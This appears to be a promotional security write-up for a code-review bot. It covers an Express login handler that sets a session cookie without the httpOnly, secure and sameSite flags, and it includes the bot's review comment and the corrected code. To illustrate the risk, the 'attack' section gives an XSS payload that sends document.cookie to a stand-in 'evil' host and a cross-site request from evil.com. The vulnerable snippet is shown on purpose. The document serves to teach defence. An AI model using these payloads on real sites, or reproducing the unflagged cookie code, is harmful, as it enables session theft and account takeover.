A login handler. Sets the session cookie at the end. The line looked complete to the author. Mesrai flagged it because the cookie defaults are the wrong defaults for an auth cookie.
The vulnerable diff
// auth/session.ts
authRouter.post("/login", async (req, res) => {
const ok = await authenticate(req.body.email, req.body.password);
if (!ok) return res.status(401).json({ error: "bad credentials" });
const token = await signSession(req.body.email);
// BUG: no httpOnly, no secure, no sameSite
res.cookie("sid", token);
res.json({ ok: true });
});What is wrong
Three separate hardening flags must be set on any cookie carrying an authentication credential. `httpOnly` prevents JavaScript reads via `document.cookie` — without it, a single XSS finding becomes a session theft. `secure` prevents the cookie from being sent over plain HTTP — without it, any MITM (coffee-shop wifi, hostile ISP) can capture and replay the cookie. `sameSite` prevents cross-site requests from including the cookie — without it, CSRF is open. The defaults of `res.cookie` set none of these.
The attack
Three sample attacks lined up against the same line of code:
1. XSS steal:
<img src=x onerror="fetch('https://evil/'+document.cookie)">
Cookie sent to attacker. Use the session immediately.
2. MITM (no `secure`):
Plain HTTP intercept on coffee-shop wifi captures the cookie.
Replay against the API.
3. CSRF (no `sameSite`):
evil.com hosts <img src='https://app.example/api/delete-account'>
User's browser sends the cookie automatically.All three are real attack classes that the three cookie flags prevent in one line each.
Mesrai's review comment
mesraipilot · Bot · reviewed 2 min ago
[mesrai] [code-review] [Security] [CWE-1004, CWE-614] [high]
Session cookie set without security flags. Three issues on one line:
- httpOnly missing: XSS can read via document.cookie
- secure missing: cookie travels over plain HTTP
- sameSite missing: cross-site requests carry the cookie
Fix:
res.cookie("sid", token, {
httpOnly: true,
secure: true,
sameSite: "lax", // or "strict" if you don't need top-level
// POST navigation
maxAge: 24 * 60 * 60 * 1000,
path: "/",
});
For OAuth callbacks where sameSite:strict breaks the flow, use lax.
For API-only cookies set on a different origin than the frontend, use
none (and require secure: true).
Reference: OWASP Session Management Cheat Sheet, CWE-1004, CWE-614The fix
// auth/session.ts — fixed
res.cookie("sid", token, {
httpOnly: true,
secure: process.env.NODE_ENV === "production",
sameSite: "lax",
maxAge: 24 * 60 * 60 * 1000,
path: "/",
});Four flags total: the three security flags plus an explicit `maxAge`. The `secure` flag is gated on production so the cookie still works in local HTTP dev. For OAuth flows that break under `sameSite:strict`, use `lax`. For separate-origin API + frontend setups, use `sameSite:"none"` with `secure:true` — the only combination browsers accept for cross-site cookies in 2026.
Why human review missed it
Cookie security flags are not part of the `res.cookie` signature most developers learn from tutorials. The default behavior of Express looks safe because it 'just works' — the bug is invisible until you read the rendered Set-Cookie header. Mesrai's rule pack catches every `res.cookie` call on a session or auth cookie without explicit flags.
Related rules + further reading
Mesrai rule pack: security/cookie-flags-required — flags `res.cookie` on auth/session cookies without httpOnly + secure + sameSite.
OWASP: Session Management Cheat Sheet.
CWE-1004 / CWE-614 — cookie + cleartext-transmission classes.
Takeaway
Three flags. One line. Closes XSS steal, MITM read, and CSRF replay simultaneously.